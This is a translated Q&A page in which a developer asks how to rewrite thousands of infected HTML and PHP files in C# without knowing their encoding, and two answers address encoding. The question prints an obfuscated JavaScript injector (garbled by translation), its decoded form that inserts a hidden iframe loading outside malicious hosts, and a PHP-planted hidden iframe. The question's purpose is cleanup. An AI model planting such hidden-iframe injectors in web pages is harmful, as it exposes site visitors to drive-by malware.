Может ли файл быть прочитан и записан обратно с небольшими изменениями, не зная его кодировку в C #? - PullRequest
6 голосов
/ 10 февраля 2012

Мне нужно скачать с FTP более 5000 файлов, являющихся файлами .html и .php.Мне нужно прочитать каждый файл и удалить некоторые файлы, которые были помещены туда вирусом, и сохранить их обратно на FTP.

Я использую следующий код:

string content;
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) {
    content = sr.ReadToEnd();
    sr.Close();
}

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8))
{
    sw.WriteLine(content);
    sw.Close();
}

Я скачал некоторые файлы с помощьюрука, а у некоторых <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />, но я бы не хотел предполагать, что все они такие.Я проверил с помощью Notepad ++, и некоторые текстовые файлы ANSI.PHP выглядит как UTF-8 и HTML Windows-1250, но я бы предпочел не ломать файлы, пытаясь это исправить.Так есть ли способ, которым мне не нужно было бы знать / угадывать кодировку, и это позволило бы мне удалять ссылки на вирусы с веб-страниц?

Редактировать.Я пытаюсь найти и удалить что-то вроде этого:

var s = new String (); try {document.rvwrew.vewr} catch (q) {r = 1; c = String;} если (г && document.createTextNode) и = 2; е = Eval; т = [4,5 * U, 18 / и, 52.5 * и, 204 / и, 16 * и 80 / и, 50 * и, 222 / и,49,5 * U, 234 / и, 54.5 * и, 202 / и, 55 * и, 232 / и, 23 * и, 206 / и, 50.5 * и, 232 / и, 34.5 * и, 216 / и, 50.5 *и, 218 / и, 50.5 * и, 220 / у, 58 * и, 230 / у, 33 * и, 242 / и, 42 * и, 194 / и, 51.5 * и, 156 / и, 48.5 * и,218 / и, 50.5 * и, 80 / и, 19.5 * и, 196 / и, 55.5 * и, 200 / и, 60.5 * и, 78 / и, 20.5 * и, 182 / и, 24 * и, 186 /и, 20.5 * и, 246 / у, 4,5 * U, 18 / и, 4.5 * и, 210 / у, 51 * и, 228 / и, 48.5 * и, 218 / и, 50.5 * и, 228 / и,20 * и 82 / и, 29.5 * и, 18 / и, 4,5 * U, 250 / у, 16 * и, 202 / и, 54 * и, 230 / и, 50.5 * и, 64 / и, 61.5 *и, 18 / и, 4.5 * и, 18 / и, 50 * и, 222 / и, 49.5 * и, 234 / и, 54.5 * и, 202 / и, 55 * и, 232 / и, 23 * и,238 / у, 57 * и, 210 / у, 58 * и, 202 / и, 20 * и 68 / и, 30 * и, 210 / у, 51 * и, 228 / и, 48.5 * и, 218 /и, 50.5 * и, 64 / и, 57.5 * и, 228 / и, 49.5 * и, 122 / и, 19.5 * и, 208 / у, 58 * и, 232 / и, 56 * и, 116 / и,23.5 * и, 94 / и, 51 * и, 210 / у, 49 * и, 202 / у, 57 * и, 194 / и, 57.5 * и, 232 / и, 48.5 * и, 232 / у, 23 *и, 198 / и, 55.5 * и, 218 / и, 23.5 * и, 232 / и, 50.5 * и, 218 / и, 56 * и 94 / и, 57.5 * и, 232 / и, 48.5 * и,232 / и, 23 * и, 224 / у, 52 * и, 224 / у, 19.5 * и, 64 / и, 59.5 * и, 210 / и, 50 * и, 232 / и, 52 * и, 122 / и, 19.5 * и, 98 / и, 24 * и 78 / и, 16* и, 208 / и, 50.5 * и, 210 / и, 51.5 * и, 208 / у, 58 * и, 122 / и, 19.5 * и, 98 / и, 24 * и 78 / и, 16 * U, 230 / U, 58 * U, 242 / U, 54 * U, 202 / U, 30,5 * U, 78 / U, 59 * U, 210 / U, 57,5 ​​* U, 210 / U, 49 * U, 210/u,54*u,210/u,58*u,242/u,29*u,208/u,52.5*u,200/u,50*u,202/u,55*u,118/u, 56 * и, 222 / и, 57.5 * и, 210 / у, 58 * и, 210 / и, 55.5 * и, 220 / у, 29 * и, 194 / у, 49 * и, 230 / U, 55,5* и, 216 / и, 58.5 * и, 232 / и, 50.5 * и, 118 / и, 54 * и, 202 / у, 51 * и, 232 / и, 29 * и 96 / и, 29.5 * и, 232 / и, 55.5 * и, 224 / у, 29 * и 96 / и, 29.5 * и, 78 / и, 31 * и, 120 / и, 23.5 * и, 210 / у, 51 * и, 228/u,48.5*u,218/u,50.5*u,124/u,17*u,82/u,29.5*u,18/u,4.5*u,250/u,4.5*u,18/u, 51 * и, 234 / у, 55 * и, 198 / у, 58 * и, 210 / и, 55.5 * и, 220 / у, 16 * и, 210 / у, 51 * и, 228 / и, 48.5* и, 218 / и, 50.5 * и, 228 / и, 20 * и 82 / и, 61.5 * и, 18 / и, 4.5 * и, 18 / и, 59 * и, 194 / у, 57 * U, 64 / и, 51 * и 64 / и, 30.5 * и, 64 / и, 50 * и, 222 / и, 49.5 * и, 234 / и, 54.5 * и, 202 / и, 55 * и, 232/u,23*u,198/u,57*u,202/u,48.5*u,232/u,50.5*u,138/u,54*u,202/u,54.5*u,202/u, 55 * и, 232 / и, 20 * и 78 / и, 52.5 * и, 204 / у, 57 * и, 194 / и, 54.5 * и, 202 / и, 19.5 * и, 82 / и, 29.5* у, 204 / у, 23 * и, 230 / и, 50.5 * и, 232 / и, 32.5 * и, 232 / и, 58 * и, 228 / и, 52.5 * и, 196 / и, 58.5 * и, 232 / и, 50.5 * и, 80 / и, 19.5 * и, 230 / у, 57 * и, 198 / и, 19.5 * и, 88 /и, 19.5 * и, 208 / у, 58 * и, 232 / и, 56 * и, 116 / и, 23.5 * и, 94 / и, 51 * и, 210 / у, 49 * и, 202 / и,57 * и, 194 / и, 57.5 * и, 232 / и, 48.5 * и, 232 / и, 23 * и, 198 / и, 55.5 * и, 218 / и, 23.5 * и, 232 / и, 50.5 *и, 218 / и, 56 * и 94 / и, 57.5 * и, 232 / и, 48.5 * и, 232 / и, 23 * и, 224 / у, 52 * и, 224 / и, 19.5 * и,82 / и, 29.5 * и, 204 / и,23 * и, 230 / у, 58 * и, 242 / и, 54 * и, 202 / у, 23 * и, 236 / и, 52.5 * и, 230 / и, 52.5 * и, 196 / и, 52.5 *и, 216 / и, 52.5 * и, 232 / и, 60.5 * и, 122 / и, 19.5 * и, 208 / у, 52,5 * у, 200 / у, 50 * и, 202 / и, 55 * и,78 / и, 29.5 * и, 204 / у, 23 * и, 230 / у, 58 * и, 242 / и, 54 * и, 202 / у, 23 * и, 224 / и, 55.5 * и, 230 /и, 52.5 * и, 232 / и, 52.5 * и, 222 / и, 55 * и, 122 / и, 19.5 * и, 194 / у, 49 * и, 230 / и, 55.5 * и, 216 / и,58,5 * U, 232 / и, 50.5 * и, 78 / и, 29.5 * и, 204 / у, 23 * и, 230 / у, 58 * и, 242 / и, 54 * и, 202 / у, 23 *и, 216 / и, 50.5 * и, 204 / у, 58 * и, 122 / и, 19.5 * и, 96 / и, 19.5 * у, 118 / у, 51 * и 92 / и, 57.5 * и,232 / U, 60,5 * и, 216 / и, 50.5 * и, 92 / и, 58 * и, 222 / и, 56 * и, 122 / и, 19.5 * и, 96 / и, 19.5 * и, 118 /и, 51 * и 92 / и, 57.5 * и, 202 / у, 58 * и, 130 / и, 58 * и, 232 / и, 57 * и, 210 / у, 49 * и, 234 / и,58 * и, 202 / и, 20 * и 78 / и, 59.5 * и, 210 / и, 50 * и, 232 / и, 52 * и 78 / и, 22 * ​​и 78 / и, 24.5 *и, 96 / и, 19.5 * и, 82 / и, 29.5 * и, 204 / у, 23 * и, 230 / и, 50.5 * и, 232 / и, 32.5 * и, 232 / и, 58 * и,228 / и, 52.5 * и, 196 / и, 58.5 * и, 232 / и, 50.5 * и, 80 / и, 19.5 * и, 208 / и, 50.5 * и, 210 / и, 51.5 * и, 208 /и, 58 * и 78 / и, 22 * ​​и 78 / и, 24.5 * и, 96 / и, 19.5 * и, 82 / и, 29.5 * и, 18 / и, 4.5 * и, 18 / и,50 * и, 222 / и, 49.5 * и, 234 / и, 54.5 * и, 202 / и, 55 * и, 232 / и, 23 * и, 206 / и, 50.5 * и, 232 / и, 34.5 *и, 216 / и, 50.5 * и, 218 / и, 50.5 * и, 220 / у, 58* И, 230 / у, 33 * и, 242 / и, 42 * и, 194 / и, 51.5 * и, 156 / и, 48.5 * и, 218 / и, 50.5 * и, 80 / и, 19.5 * U, 196 / и, 55.5 * и, 200 / и, 60.5 * и, 78 / и, 20.5 * и, 182 / и, 24 * и, 186 / у, 23 * и, 194 / и, 56 * и, 224/u,50.5*u,220/u,50*u,134/u,52*u,210/u,54*u,200/u,20*u,204/u,20.5*u,118/u4,5 * U, 18 / и, 62.5 * и]; если (document.createTextNode) с (с) мм = fromCharCode; для (I = 0;! я = m.length; я ++) -s + = мм (е (»m "+" ["+" i "+ ']')); try {doc.qwe.removeChild ()} catch (q) {e (s);}

который после декодированияэто

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

И когда вы посещаете веб-страницу, это говорит вам (после декодирования).

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

Скрипт добавляется в последние 3 строки и в основном запускается сразу после </html> var

PHP-скрипт имеет более или менее строку этого типа <iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>, но может находиться в любом месте файла.

Не уверен, есть ли другой способ, чтобы переписать эти файлы.Но просмотр 5000 файлов кажется слишком сложным и рискованным: -)

Ответы [ 2 ]

3 голосов
/ 10 февраля 2012

Предполагая, что ни один из файлов не является UTF16 или UTF32, и что части, с которыми вы хотите взаимодействовать, являются полностью 7-битными ASCII, вы можете открыть и сохранить его как Encoding.Default, что будет обходить любой более высокий символ правильно.

1 голос
/ 10 февраля 2012

Вирусу не нужно было знать кодировку файла, чтобы добавить его содержимое в ваши файлы, так что это, очевидно, возможно. Вместо того, чтобы рассматривать файл как текст, не могли бы вы просто обработать его как двоичный файл и найти шаблоны, которые соответствуют тому, что добавил вирус?

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...